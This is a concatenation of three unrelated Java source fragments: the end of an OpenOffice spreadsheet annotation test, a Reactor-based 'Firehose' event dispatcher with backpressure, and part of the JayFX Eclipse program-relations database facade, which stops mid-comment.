(XSimpleText) UnoRuntime.queryInterface(XSimpleText.class,
oAnno);
xAnnoText.setString("ScAnnotationShapeObj");
XSheetAnnotationShapeSupplier xSheetAnnotationShapeSupplier =
(XSheetAnnotationShapeSupplier) UnoRuntime.queryInterface(XSheetAnnotationShapeSupplier.class,
oAnno);
oObj = xSheetAnnotationShapeSupplier.getAnnotationShape();
log.println("ImplementationName: "
+ util.utils.getImplName(oObj));
TestEnvironment tEnv = new TestEnvironment(oObj);
//adding ObjRelation for RotationDescriptor
tEnv.addObjRelation("NoShear", Boolean.TRUE);
//adding ObjRelation for XText
DefaultDsc tDsc = new DefaultDsc("com.sun.star.text.XTextContent",
"com.sun.star.text.TextField.DateTime");
log.println( "adding InstCreator object" );
tEnv.addObjRelation(
"XTEXTINFO", new InstCreator( xSheetDoc, tDsc ) );
return tEnv;
}
}
// finish class ScAnnotationShapeObj
|
package reactor.pipe;
import org.reactivestreams.Processor;
import org.reactivestreams.Publisher;
import org.reactivestreams.Subscriber;
import org.reactivestreams.Subscription;
import reactor.Subscribers;
import reactor.core.processor.RingBufferWorkProcessor;
import reactor.core.subscription.SubscriptionWithContext;
import reactor.core.support.Assert;
import reactor.fn.Consumer;
import reactor.fn.Function;
import reactor.fn.Predicate;
import reactor.fn.Supplier;
import reactor.fn.timer.HashWheelTimer;
import reactor.fn.tuple.Tuple;
import reactor.fn.tuple.Tuple2;
import reactor.pipe.concurrent.LazyVar;
import reactor.pipe.key.Key;
import reactor.pipe.registry.*;
import reactor.pipe.stream.FirehoseSubscription;
import java.util.Map;
import java.util.concurrent.Executor;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.atomic.AtomicLong;
import java.util.function.LongBinaryOperator;
public class Firehose<K extends Key> {
private final static int DEFAULT_THREAD_POOL_SIZE = 4;
private final static int DEFAULT_RING_BUFFER_SIZE = 65536;
private final DefaultingRegistry<K> consumerRegistry;
private final Consumer<Throwable> errorHandler;
private final LazyVar<HashWheelTimer> timer;
private final Processor<Runnable, Runnable> processor;
private final ThreadLocal<Boolean> inDispatcherContext;
private final FirehoseSubscription firehoseSubscription;
public Firehose() {
this(new ConcurrentRegistry<K>(),
RingBufferWorkProcessor.<Runnable>create(Executors.newFixedThreadPool(DEFAULT_THREAD_POOL_SIZE),
DEFAULT_RING_BUFFER_SIZE),
DEFAULT_THREAD_POOL_SIZE,
new Consumer<Throwable>() {
@Override
public void accept(Throwable throwable) {
System.out.printf("Exception caught while dispatching: %s\n", throwable.getMessage());
throwable.printStackTrace();
}
});
}
public Firehose(Consumer<Throwable> errorHandler) {
this(new ConcurrentRegistry<K>(),
RingBufferWorkProcessor.<Runnable>create(Executors.newFixedThreadPool(DEFAULT_THREAD_POOL_SIZE),
DEFAULT_RING_BUFFER_SIZE),
DEFAULT_THREAD_POOL_SIZE,
errorHandler);
}
public Firehose(DefaultingRegistry<K> registry,
Processor<Runnable, Runnable> processor,
int concurrency,
Consumer<Throwable> dispatchErrorHandler) {
this.consumerRegistry = registry;
this.errorHandler = dispatchErrorHandler;
this.processor = processor;
this.inDispatcherContext = new ThreadLocal<>();
{
for (int i = 0; i < concurrency; i++) {
this.processor.subscribe(Subscribers.unbounded((Runnable runnable,
SubscriptionWithContext<Void> voidSubscriptionWithContext) -> {
runnable.run();
},
dispatchErrorHandler));
}
this.firehoseSubscription = new FirehoseSubscription();
this.processor.onSubscribe(firehoseSubscription);
}
this.timer = new LazyVar<>(new Supplier<HashWheelTimer>() {
@Override
public HashWheelTimer get() {
return new HashWheelTimer(10); // TODO: configurable hash wheel size!
}
});
}
public Firehose<K> fork(ExecutorService executorService,
int concurrency,
int ringBufferSize) {
return new Firehose<K>(this.consumerRegistry,
RingBufferWorkProcessor.<Runnable>create(executorService, ringBufferSize),
concurrency,
this.errorHandler);
}
public <V> Firehose notify(final K key, final V ev) {
Assert.notNull(key, "Key cannot be null.");
Assert.notNull(ev, "Event cannot be null.");
// Backpressure
while ((inDispatcherContext.get() == null || !inDispatcherContext.get()) &&
!this.firehoseSubscription.maybeClaimSlot()) {
try {
//LockSupport.parkNanos(10000);
Thread.sleep(500); // TODO: Obviously this is stupid use parknanos instead.
} catch (InterruptedException e) {
e.printStackTrace();
}
}
Boolean inContext = inDispatcherContext.get();
if (inContext != null && inContext) {
// Since we're already in the context, we can dispatch syncronously
try {
dispatch(key, ev);
} catch (Throwable outer) {
errorHandler.accept(outer);
}
} else {
processor.onNext(() -> {
try {
inDispatcherContext.set(true);
dispatch(key, ev);
} catch (Throwable outer) {
errorHandler.accept(outer);
} finally {
inDispatcherContext.set(false);
}
});
}
return this;
}
private <V> void dispatch(final K key, final V ev) {
for (Registration<K> reg : consumerRegistry.select(key)) {
try {
reg.getObject().accept(key, ev);
} catch (Throwable inner) {
errorHandler.accept(inner);
}
}
}
public <V> Firehose on(final K key, final KeyedConsumer<K, V> consumer) {
consumerRegistry.register(key, consumer);
return this;
}
public <V> Firehose on(final K key, final SimpleConsumer<V> consumer) {
consumerRegistry.register(key, new KeyedConsumer<K, V>() {
@Override
public void accept(final K key, final V value) {
consumer.accept(value);
}
});
return this;
}
public Firehose miss(final KeyMissMatcher<K> matcher,
Function<K, Map<K, KeyedConsumer>> supplier) {
consumerRegistry.addKeyMissMatcher(matcher, supplier);
return this;
}
public boolean unregister(K key) {
return consumerRegistry.unregister(key);
}
public boolean unregister(Predicate<K> pred) {
return consumerRegistry.unregister(pred);
}
public <V> Registry<K> getConsumerRegistry() {
return this.consumerRegistry;
}
public HashWheelTimer getTimer() {
return this.timer.get();
}
public void shutdown() {
processor.onComplete();
}
public <V> Subscriber<Tuple2<K, V>> makeSubscriber() {
Firehose<K> ref = this;
return new Subscriber<Tuple2<K, V>>() {
private volatile Subscription subscription;
@Override
public void onSubscribe(Subscription subscription) {
this.subscription = subscription;
subscription.request(1L);
}
@Override
public void onNext(Tuple2<K, V> tuple) {
ref.notify(tuple.getT1(), tuple.getT2());
subscription.request(1L);
}
@Override
public void onError(Throwable throwable) {
ref.errorHandler.accept(throwable);
}
@Override
public void onComplete() {
subscription.cancel();
}
};
}
public <V> Publisher<Tuple2<K, V>> makePublisher(K subscriptionKey) {
Firehose<K> ref = this;
return new Publisher<Tuple2<K, V>>() {
@Override
public void subscribe(Subscriber<? super Tuple2<K, V>> subscriber) {
AtomicLong requested = new AtomicLong(0);
Subscription subscription = new Subscription() {
@Override
public void request(long l) {
if (l < 1) {
throw new RuntimeException("Can't request a non-positive number");
}
requested.accumulateAndGet(l, new LongBinaryOperator() {
@Override
public long applyAsLong(long old, long diff) {
long sum = old + diff;
if (sum < 0 || sum == Long.MAX_VALUE) {
return Long.MAX_VALUE; // Effectively unbounded
} else {
return sum;
}
}
});
}
@Override
public void cancel() {
ref.unregister(subscriptionKey);
}
};
subscriber.onSubscribe(subscription);
ref.on(subscriptionKey, new SimpleConsumer<V>() {
@Override
public void accept(V value) {
long r = requested.accumulateAndGet(-1, new LongBinaryOperator() {
@Override
public long applyAsLong(long old, long diff) {
long sum = old + diff;
if (old == Long.MAX_VALUE || sum <= 0) {
return Long.MAX_VALUE; // Effectively unbounded
} else if (old == 1) {
return 0;
} else {
return sum;
}
}
});
if (r >= 0) {
subscriber.onNext(Tuple.of(subscriptionKey, value));
}
}
});
}
};
}
}
|
package ca.mcgill.cs.swevo.jayfx;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.eclipse.ajdt.core.javaelements.AdviceElement;
import org.eclipse.ajdt.core.javaelements.IAJCodeElement;
import org.eclipse.ajdt.core.model.AJModel;
import org.eclipse.ajdt.core.model.AJRelationship;
import org.eclipse.ajdt.core.model.AJRelationshipManager;
import org.eclipse.ajdt.core.model.AJRelationshipType;
import org.eclipse.core.resources.IProject;
import org.eclipse.core.runtime.CoreException;
import org.eclipse.core.runtime.IProgressMonitor;
import org.eclipse.core.runtime.SubProgressMonitor;
import org.eclipse.jdt.core.ICompilationUnit;
import org.eclipse.jdt.core.IField;
import org.eclipse.jdt.core.IJavaElement;
import org.eclipse.jdt.core.IJavaProject;
import org.eclipse.jdt.core.IMember;
import org.eclipse.jdt.core.IMethod;
import org.eclipse.jdt.core.IPackageDeclaration;
import org.eclipse.jdt.core.IPackageFragment;
import org.eclipse.jdt.core.IType;
import org.eclipse.jdt.core.JavaCore;
import org.eclipse.jdt.core.JavaModelException;
import org.eclipse.jdt.core.dom.Modifier;
import org.eclipse.jdt.core.search.IJavaSearchConstants;
import org.eclipse.jdt.core.search.SearchEngine;
import org.eclipse.jdt.core.search.SearchMatch;
import org.eclipse.jdt.core.search.SearchParticipant;
import org.eclipse.jdt.core.search.SearchPattern;
import org.eclipse.jdt.core.search.SearchRequestor;
import ca.mcgill.cs.swevo.jayfx.model.ClassElement;
import ca.mcgill.cs.swevo.jayfx.model.FlyweightElementFactory;
import ca.mcgill.cs.swevo.jayfx.model.ICategories;
import ca.mcgill.cs.swevo.jayfx.model.IElement;
import ca.mcgill.cs.swevo.jayfx.model.MethodElement;
import ca.mcgill.cs.swevo.jayfx.model.Relation;
/**
* Facade for the JavaDB component. This component takes in a Java projects and
* produces a database of the program relations between all the source element
* in the input project and dependent projects.
*/
public class JayFX {
/**
* Returns all the compilation units in this projects
*
* @param pProject
* The project to analyze. Should never be null.
* @return The compilation units to generate. Never null.
* @throws JayFXException
* If the method cannot complete correctly
*/
private static List<ICompilationUnit> getCompilationUnits(
IJavaProject pProject) throws JayFXException {
assert pProject != null;
final List<ICompilationUnit> lReturn = new ArrayList<ICompilationUnit>();
try {
final IPackageFragment[] lFragments = pProject
.getPackageFragments();
for (final IPackageFragment element : lFragments) {
final ICompilationUnit[] lCUs = element.getCompilationUnits();
for (final ICompilationUnit element2 : lCUs)
lReturn.add(element2);
}
}
catch (final JavaModelException pException) {
throw new JayFXException(
"Could not extract compilation units from project",
pException);
}
return lReturn;
}
/**
* Returns all projects to analyze in IJavaProject form, including the
* dependent projects.
*
* @param pProject
* The project to analyze (with its dependencies. Should not be
* null.
* @return A list of all the dependent projects (including pProject). Never
* null.
* @throws JayFXException
* If the method cannot complete correctly.
*/
private static List<IJavaProject> getJavaProjects(IProject pProject)
throws JayFXException {
assert pProject != null;
final List<IJavaProject> lReturn = new ArrayList<IJavaProject>();
try {
lReturn.add(JavaCore.create(pProject));
final IProject[] lReferencedProjects = pProject
.getReferencedProjects();
for (final IProject element : lReferencedProjects)
lReturn.add(JavaCore.create(element));
}
catch (final CoreException pException) {
throw new JayFXException("Could not extract project information",
pException);
}
return lReturn;
}
// The analyzer is a wrapper providing additional query functionalities
// to the database.
private final Analyzer aAnalyzer;
// A flag that remembers whether the class-hierarchy analysis is enabled.
private boolean aCHAEnabled;
// A converter object that needs to be initialized with the database.
private final FastConverter aConverter = new FastConverter();
// The database object should be used for building the database
private final ProgramDatabase aDB = new ProgramDatabase();
// A Set of all the packages in the "project"
private final Set<String> aPackages = new HashSet<String>();
/**
* Returns an IElement describing the argument Java element. Not designed to
* be able to find initializer blocks or arrays.
*
* @param pElement
* Never null.
* @return Never null
* @throws ConversionException
* if the element cannot be converted.
*/
public IElement convertToElement(IJavaElement pElement)
throws ConversionException {
IElement ret = this.aConverter.getElement(pElement);
if (ret == null)
throw new IllegalStateException("In trouble.");
return ret;
}
/**
* Returns a Java element associated with pElement. This method cannot track
* local or anonymous types or any of their members, primitive types, or
* array types. It also cannot find initializers, default constructors that
* are not explicitly declared, or non-top-level types outside the project
* analyzed. If such types are passed as argument, a ConversionException is
* thrown.
*
* @param pElement
* The element to convert. Never null.
* @return Never null.
* @throws ConversionException
* If the element cannot be
*/
public IJavaElement convertToJavaElement(IElement pElement)
throws ConversionException {
return this.aConverter.getJavaElement(pElement);
}
/** for testing purposes */
public void dumpConverter() {
this.aConverter.dump();
}
@SuppressWarnings( { "restriction", "unchecked" })
public void enableElementsAccordingTo(AdviceElement advElem,
IProgressMonitor monitor) throws ConversionException, CoreException {
resetAllElements(new SubProgressMonitor(monitor, 1));
final IProject proj = advElem.getJavaProject().getProject();
final List<AJRelationship> relationshipList = AJModel
.getInstance()
.getAllRelationships(
proj,
new AJRelationshipType[] { AJRelationshipManager.ADVISES });
enableElementsAccordingTo(advElem, new SubProgressMonitor(monitor, 1),
relationshipList);
}
private enum JoinpointType {
FIELD_GET, FIELD_SET, CONSTRUCTOR_CALL, METHOD_CALL;
}
/**
* @param advElem
* @param monitor
* @param relationshipList
* @throws ConversionException
* @throws CoreException
*/
private void enableElementsAccordingTo(AdviceElement advElem,
IProgressMonitor monitor,
final List<AJRelationship> relationshipList)
throws ConversionException, CoreException {
monitor.beginTask("Enabling elements according to advice pointcut.",
relationshipList.size());
for (final AJRelationship relationship : relationshipList) {
final AdviceElement advice = (AdviceElement) relationship
.getSource();
if (advice.equals(advElem)) {
final IJavaElement target = relationship.getTarget();
// IElement adviceElem = Util.convertBinding(ICategories.ADVICE,
// advice.getHandleIdentifier());
switch (target.getElementType()) {
case IJavaElement.METHOD: {
final IMethod meth = (IMethod) target;
// try {
// this.aDB.addElement(adviceElem, advice.getFlags());
// } catch (JavaModelException e) {
// // TODO Auto-generated catch block
// e.printStackTrace();
// this.aDB.addRelation(adviceElem, Relation.ADVISES,
// this.convertToElement(meth));
final IElement toEnable = this.convertToElement(meth);
if (toEnable == null)
throw new IllegalStateException("In trouble!");
toEnable.enable();
break;
}
case IJavaElement.TYPE: {
// its a default ctor.
final IType type = (IType) target;
for (final IMethod meth : type.getMethods())
if (meth.isConstructor()
&& meth.getParameterNames().length == 0) {
final IElement toEnable = this
.convertToElement(meth);
if (toEnable == null)
throw new IllegalStateException(
"In trouble!");
toEnable.enable();
}
break;
}
case IJavaElement.LOCAL_VARIABLE: {
// its an aspect element.
if (!(target instanceof IAJCodeElement))
throw new IllegalStateException(
"Something is screwy here.");
final IAJCodeElement ajElem = (IAJCodeElement) target;
final StringBuilder targetString = new StringBuilder(
ajElem.getElementName());
String type = targetString.substring(0, targetString
.indexOf("("));
StringBuilder typeBuilder = new StringBuilder(type
.toUpperCase());
int pos = typeBuilder.indexOf("-");
switch (JoinpointType.valueOf(typeBuilder.replace(pos,
pos + 1, "_").toString())) {
case FIELD_GET: {
enableElementsAccordingToFieldGet(targetString);
break;
}
case FIELD_SET: {
enableElementsAccordingToFieldSet(targetString);
break;
}
case METHOD_CALL: {
enableElementsAccordingToMethodCall(targetString);
break;
}
case CONSTRUCTOR_CALL: {
enableElementsAccordingToConstructorCall(targetString);
break;
}
}
break;
}
default:
throw new IllegalStateException(
"Unexpected relationship target type: "
+ target.getElementType());
}
}
monitor.worked(1);
}
monitor.done();
}
private static final String INIT_STRING = ".<init>";
/**
* @param targetString
* @throws CoreException
* @throws ConversionException
*/
private void enableElementsAccordingToFieldSet(StringBuilder targetString)
throws CoreException, ConversionException {
transformTargetStringToFieldName(targetString);
final SearchPattern pattern = SearchPattern.createPattern(targetString
.toString(), IJavaSearchConstants.FIELD,
IJavaSearchConstants.DECLARATIONS, SearchPattern.R_EXACT_MATCH
| SearchPattern.R_CASE_SENSITIVE);
final SearchEngine engine = new SearchEngine();
final Collection<SearchMatch> results = new ArrayList<SearchMatch>();
try {
engine.search(pattern, new SearchParticipant[] { SearchEngine
.getDefaultSearchParticipant() }, SearchEngine
.createWorkspaceScope(), new SearchRequestor() {
@Override
public void acceptSearchMatch(SearchMatch match)
throws CoreException {
if (match.getAccuracy() == SearchMatch.A_ACCURATE
&& !match.isInsideDocComment())
results.add(match);
}
}, null);
}
catch (NullPointerException e) {
System.out.println("Caught " + e
+ " from search engine. Rethrowing.");
throw e;
}
for (final SearchMatch match : results) {
final IElement toEnable = this
.convertToElement((IJavaElement) match.getElement());
toEnable.enableIncommingRelationsFor(Relation.SETS);
}
}
/**
* @param targetString
*/
private static void transformTargetStringToFieldName(
StringBuilder targetString) {
targetString.delete(0, targetString.indexOf(" ") + 1);
targetString.deleteCharAt(targetString.length() - 1);
}
/**
* @param targetString
* @throws CoreException
* @throws ConversionException
*/
private void enableElementsAccordingToFieldGet(StringBuilder targetString)
throws CoreException, ConversionException {
transformTargetStringToFieldName(targetString);
final SearchPattern pattern = SearchPattern.createPattern(targetString
.toString(), IJavaSearchConstants.FIELD,
IJavaSearchConstants.DECLARATIONS, SearchPattern.R_EXACT_MATCH
| SearchPattern.R_CASE_SENSITIVE);
final SearchEngine engine = new SearchEngine();
final Collection<SearchMatch> results = new ArrayList<SearchMatch>();
try {
engine.search(pattern, new SearchParticipant[] { SearchEngine
.getDefaultSearchParticipant() }, SearchEngine
.createWorkspaceScope(), new SearchRequestor() {
@Override
public void acceptSearchMatch(SearchMatch match)
throws CoreException {
if (match.getAccuracy() == SearchMatch.A_ACCURATE
&& !match.isInsideDocComment())
results.add(match);
}
}, null);
}
catch (NullPointerException e) {
System.out.println("Caught " + e
+ " from search engine. Rethrowing.");
throw e;
}
for (final SearchMatch match : results) {
final IElement toEnable = this
.convertToElement((IJavaElement) match.getElement());
toEnable.enableIncommingRelationsFor(Relation.GETS);
}
}
/**
* @param targetString
* @throws ConversionException
*/
private void enableElementsAccordingToConstructorCall(
StringBuilder targetString) throws ConversionException {
transformTargetStringToConstructorName(targetString);
this.enableElementsAccordingToCall(targetString,
IJavaSearchConstants.CONSTRUCTOR);
}
/**
* @param targetString
* @throws ConversionException
*/
private void enableElementsAccordingToMethodCall(StringBuilder targetString)
throws ConversionException {
transformTargetStringToMethodName(targetString);
this.enableElementsAccordingToCall(targetString,
IJavaSearchConstants.METHOD);
}
/**
* @param targetString
* @throws ConversionException
*/
private void enableElementsAccordingToCall(
final StringBuilder targetString, int javaSearchConstant)
throws ConversionException {
final SearchPattern pattern = SearchPattern.createPattern(targetString
.toString(), javaSearchConstant,
IJavaSearchConstants.DECLARATIONS, SearchPattern.R_EXACT_MATCH
| SearchPattern.R_CASE_SENSITIVE);
final SearchEngine engine = new SearchEngine();
final Collection<SearchMatch> results = new ArrayList<SearchMatch>();
try {
engine.search(pattern, new SearchParticipant[] { SearchEngine
.getDefaultSearchParticipant() }, SearchEngine
.createWorkspaceScope(), new SearchRequestor() {
@Override
public void acceptSearchMatch(SearchMatch match)
throws CoreException {
if (match.getAccuracy() == SearchMatch.A_ACCURATE
&& !match.isInsideDocComment())
results.add(match);
}
}, null);
}
catch (NullPointerException e) {
System.err.println("Caught " + e
+ " from search engine. Rethrowing.");
throw e;
}
catch (final CoreException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
for (final SearchMatch match : results) {
final IElement toEnable = this
.convertToElement((IJavaElement) match.getElement());
toEnable.enableIncommingRelationsFor(Relation.CALLS);
}
}
/**
* @param targetString
*/
private static void transformTargetStringToMethodName(
final StringBuilder targetString) {
targetString.delete(0, targetString.indexOf(" ") + 1);
targetString.deleteCharAt(targetString.length() - 1);
}
private static void transformTargetStringToConstructorName(
final StringBuilder targetString) {
transformTargetStringToMethodName(targetString);
int initPos = targetString.indexOf(INIT_STRING);
targetString.delete(initPos, initPos + INIT_STRING.length());
}
/**
* @param monitor
*/
private void resetAllElements(IProgressMonitor monitor) {
// reset all elements.
monitor.beginTask("Disabling intention elements.", this.aDB
.getAllElements().size());
for (final IElement elem : this.aDB.getAllElements()) {
elem.disable();
elem.disableAllIncommingRelations();
monitor.worked(1);
}
monitor.done();
}
/**
* Returns all the elements in the database in their lighweight form.
*
* @return A Set of IElement objects representing all the elements in the
* program database.
*/
public Set<IElement> getAllElements() {
return this.aDB.getAllElements();
}
/**
* Returns the modifier flag for the element
*
* @return An integer representing the modifier. 0 if the element cannot be
* found.
*/
public int getModifiers(IElement pElement) {
return this.aDB.getModifiers(pElement);
}
/**
* Returns all the non-static methods that pMethod potentially implements.
*
* @param pMethod
* The method to check. Cannot be null.
* @return a Set of methods found, or the empty set (e.g., if pMethod is
* abstract.
*/
public Set<IElement> getOverridenMethods(IElement pMethod) {
assert pMethod != null && pMethod instanceof MethodElement;
final Set<IElement> lReturn = new HashSet<IElement>();
if (!this.isAbstractMethod(pMethod)) {
final Set<IElement> lToProcess = new HashSet<IElement>();
lToProcess.addAll(this.getRange(pMethod.getDeclaringClass(),
Relation.EXTENDS_CLASS));
lToProcess.addAll(this.getRange(pMethod.getDeclaringClass(),
Relation.IMPLEMENTS_INTERFACE));
while (lToProcess.size() > 0) {
final IElement lType = lToProcess.iterator().next();
lReturn
.addAll(this
.matchMethod((MethodElement) pMethod, lType));
lToProcess.addAll(this.getRange(lType, Relation.EXTENDS_CLASS));
lToProcess.addAll(this.getRange(lType,
Relation.IMPLEMENTS_INTERFACE));
lToProcess.addAll(this.getRange(lType,
Relation.EXTENDS_INTERFACES));
lToProcess.remove(lType);
}
}
return lReturn;
}
/**
* Returns the range of the relation pRelation for domain pElement.
*
* @param pElement
* The domain element
* @param pRelation
* The relation to query
* @return A Set of IElement objects representing all the elements in the
* range.
*/
public Set<IElement> getRange(IElement pElement, Relation pRelation) {
if ((pRelation == Relation.DECLARES_TYPE && !this
.isProjectElement(pElement)))
return this.getDeclaresTypeForNonProjectElement(pElement);
if ((pRelation == Relation.DECLARES_METHOD && !this
.isProjectElement(pElement)))
return this.getDeclaresMethodForNonProjectElement(pElement);
if ((pRelation == Relation.DECLARES_FIELD && !this
.isProjectElement(pElement)))
return this.getDeclaresFieldForNonProjectElement(pElement);
if (pRelation == Relation.EXTENDS_CLASS
&& !this.isProjectElement(pElement))
return this.getExtendsClassForNonProjectElement(pElement);
if (pRelation == Relation.IMPLEMENTS_INTERFACE
&& !this.isProjectElement(pElement))
return this.getInterfacesForNonProjectElement(pElement, true);
if (pRelation == Relation.EXTENDS_INTERFACES
&& !this.isProjectElement(pElement))
return this.getInterfacesForNonProjectElement(pElement, false);
if (pRelation == Relation.OVERRIDES
|| pRelation == Relation.T_OVERRIDES)
if (!this.isCHAEnabled())
throw new RelationNotSupportedException(
"CHA must be enabled to support this relation");
return this.aAnalyzer.getRange(pElement, pRelation);
}
/**
* Convenience method. Returns the subset of elements in the range of the
* relation pRelation for domain pElement that are in the analyzed project.
*
* @param pElement
* The domain element
* @param pRelation
* The relation to query
* @return A Set of IElement objects representing all the elements in the
* range.
*/
public Set<IElement> getRangeInProject(IElement pElement, Relation pRelation) {
final Set<IElement> lRange = this.aAnalyzer.getRange(pElement,
pRelation);
final Set<IElement> lReturn = new HashSet<IElement>();
for (final IElement lElement : lRange)
if (this.isProjectElement(lElement))
lReturn.add(lElement);
/*
* for( Iterator i = lRange.iterator(); i.hasNext(); ) { IElement lNext =
* (IElement)i.next(); if( isProjectElement( lNext )) { lReturn.add(
* lNext ); } }
*/
return lReturn;
}
/**
* Initializes the program database with information about relations between
* all the source elements in pProject and all of its dependent projects.
*
* @param pProject
* The project to analyze. Should never be null.
* @param pProgress
* A progress monitor. Can be null.
* @param pCHA
* Whether to calculate overriding relationships between methods
* and to use these in the calculation of CALLS and CALLS_BY
* relations.
* @throws JayFXException
* If the method cannot complete correctly
* @throws ConversionException
* @throws ElementNotFoundException
* @throws JavaModelException
*/
@SuppressWarnings( { "restriction", "unchecked" })
public void initialize(Collection<IProject> pProjectCol,
IProgressMonitor pProgress, boolean pCHA) throws JayFXException,
ElementNotFoundException, ConversionException, JavaModelException {
this.aCHAEnabled = pCHA;
// Collect all target classes
final List<ICompilationUnit> lTargets = new ArrayList<ICompilationUnit>();
for (final IProject pProject : pProjectCol)
for (final IJavaProject lNext : getJavaProjects(pProject))
lTargets.addAll(getCompilationUnits(lNext));
// Process all the target classes
final ASTCrawler lAnalyzer = new ASTCrawler(this.aDB, this.aConverter);
if (pProgress != null)
pProgress.beginTask("Building program database", lTargets.size());
for (final ICompilationUnit lCU : lTargets) {
try {
final IPackageDeclaration[] lPDs = lCU.getPackageDeclarations();
if (lPDs.length > 0)
this.aPackages.add(lPDs[0].getElementName());
}
catch (final JavaModelException lException) {
throw new JayFXException(lException);
}
lAnalyzer.analyze(lCU);
if (pProgress != null)
pProgress.worked(1);
}
/*
* int lSize = lTargets.size(); int k = 0; for( Iterator i =
* lTargets.iterator(); i.hasNext(); ) { k++; ICompilationUnit lCU =
* (ICompilationUnit)i.next(); try { IPackageDeclaration[] lPDs =
* lCU.getPackageDeclarations(); if( lPDs.length > 0 ) { aPackages.add(
* lPDs[0].getElementName() ); } } catch( JavaModelException pException ) {
* throw new JavaDBException( pException ); } lAnalyzer.analyze( lCU );
* if( pProgress != null ) pProgress.worked(1);
*
* System.out.println( k + "/" + lSize ); if( k == 1414 ) {
* System.out.println( k + "/" + lSize ); } }
*/
if (!pCHA) {
// if (pProgress != null)
// pProgress.done();
return;
}
// Process the class hierarchy analysis
if (pProgress != null)
pProgress.beginTask("Performing class hierarchy analysis", this.aDB
.getAllElements().size());
final Set<IElement> lToProcess = new HashSet<IElement>();
lToProcess.addAll(this.aDB.getAllElements());
// int lSize = aDB.getAllElements().size();
// k = 0;
while (lToProcess.size() > 0) {
final IElement lNext = lToProcess.iterator().next();
lToProcess.remove(lNext);
if (lNext.getCategory() == ICategories.METHOD)
if (!this.isAbstractMethod(lNext)) {
final Set<IElement> lOverrides = this
.getOverridenMethods(lNext);
for (final IElement lMethod : lOverrides) {
if (!this.isProjectElement(lMethod)) {
int lModifiers = 0;
try {
final IJavaElement lElement = this
.convertToJavaElement(lMethod);
if (lElement instanceof IMember) {
lModifiers = ((IMember) lElement)
.getFlags();
if (Modifier.isAbstract(lModifiers))
lModifiers += 16384;
}
}
catch (final ConversionException lException) {
// Ignore, the modifiers used is 0
}
catch (final JavaModelException lException) {
// Ignore, the modifierds used is 0
}
this.aDB.addElement(lMethod, lModifiers);
}
this.aDB.addRelationAndTranspose(lNext,
Relation.OVERRIDES, lMethod);
}
/*
* for( Iterator j = lOverrides.iterator(); j.hasNext(); ) {
* IElement lMethod = (IElement)j.next(); if(
* !isProjectElement( lMethod )) { int lModifiers = 0; try {
* IJavaElement lElement = convertToJavaElement( lMethod );
* if( lElement instanceof IMember ) { lModifiers =
* ((IMember)lElement).getFlags(); if( Modifier.isAbstract(
* lModifiers )) { lModifiers += 16384; } } } catch(
* ConversionException pException ) { // Ignore, the
* modifiers used is 0 } catch( JavaModelException
* pException ) { // Ignore, the modifiers used is 0 }
* aDB.addElement( lMethod, lModifiers ); }
* aDB.addRelationAndTranspose( lNext, Relation.OVERRIDES,
* lMethod ); }
*/
}
pProgress.worked(1);
// System.out.println( k + "/" + lSize );
}
// process the aspects, if any.
// if ( AspectJPlugin.isAJProject(pProject)) {
// AjASTCrawler aspectAnalyzer = new AjASTCrawler( aDB, aConverter );
// if( pProgress != null ) pProgress.subTask("Analyzing aspects.");
// AjBuildManager.setAsmHierarchyBuilder(aspectAnalyzer);
// try {
// pProject.open(pProgress);
// } catch (CoreException e) {
// throw new JayFXException( "Could not open project ", e);
// try {
// pProject.build(IncrementalProjectBuilder.FULL_BUILD, pProgress);
// } catch (CoreException e) {
// throw new JayFXException( "Could not build project ", e);
// pProgress.done();
}
/**
* Returns whether pElement is an non-implemented method, either in an
* interface or as an abstract method in an abstract class. Description of
* JayFX TODO: Get rid of the magic number
*/
public boolean isAbstractMethod(IElement pElement) {
boolean lReturn = false;
if (pElement.getCategory() == ICategories.METHOD)
if (this.aDB.getModifiers(pElement) >= 16384)
lReturn = true;
return lReturn;
}
/**
* Check if class-hierarchy analysis is enabled.
*
* @return <code>true</code> if Class-hierarchy analysis is enabled;
* <code>false</code> otherwise.
*/
public boolean isCHAEnabled() {
return this.aCHAEnabled;
}
/**
* Returns whether pElement is an element in the packages analyzed.
*
* @param pElement
* Not null
* @return true if pElement is a project element.
*/
public boolean isProjectElement(IElement pElement) {
assert pElement != null;
return this.aPackages.contains(pElement.getPackageName());
}
/**
* Convenience method that returns the elements declared by an element that
* is not in the project.
*
* @param pElement
* The element to analyze. Cannot be null.
* @return A set of elements declared. Cannot be null. Emptyset if there is
* any problem converting the element.
*/
private Set<IElement> getDeclaresFieldForNonProjectElement(IElement pElement) {
assert pElement != null;
final Set<IElement> lReturn = new HashSet<IElement>();
if (pElement.getCategory() == ICategories.CLASS)
try {
final IJavaElement lElement = this
.convertToJavaElement(pElement);
if (lElement instanceof IType) {
final IField[] lFields = ((IType) lElement).getFields();
for (final IField element : lFields)
lReturn.add(this.convertToElement(element));
}
}
catch (final ConversionException pException) {
// Nothing, we return the empty set.
}
catch (final JavaModelException pException) {
// Nothing, we return the empty set.
}
return lReturn;
}
private Set<IElement> getDeclaresMethodForNonProjectElement(
IElement pElement) {
assert pElement != null;
final Set<IElement> lReturn = new HashSet<IElement>();
if (pElement.getCategory() == ICategories.CLASS)
try {
final IJavaElement lElement = this
.convertToJavaElement(pElement);
if (lElement instanceof IType) {
final IMethod[] lMethods = ((IType) lElement).getMethods();
for (final IMethod element : lMethods)
lReturn.add(this.convertToElement(element));
}
}
catch (final ConversionException pException) {
// Nothing, we return the empty set.
}
catch (final JavaModelException pException) {
// Nothing, we return the empty set.
}
return lReturn;
}
private Set<IElement> getDeclaresTypeForNonProjectElement(IElement pElement) {
assert pElement != null;
final Set<IElement> lReturn = new HashSet<IElement>();
if (pElement.getCategory() == ICategories.CLASS)
try {
final IJavaElement lElement = this
.convertToJavaElement(pElement);
if (lElement instanceof IType) {
final IType[] lTypes = ((IType) lElement).getTypes();
for (final IType element : lTypes)
lReturn.add(this.convertToElement(element));
}
}
catch (final ConversionException pException) {
// Nothing, we return the empty set.
}
catch (final JavaModelException pException) {
// Nothing, we return the empty set.
}
return lReturn;
}
// /**
// * Returns whether pElement is an interface type that exists in the
// * DB.
// */
// public boolean isInterface( IElement pElement )
// return aAnalyzer.isInterface( pElement );
/**
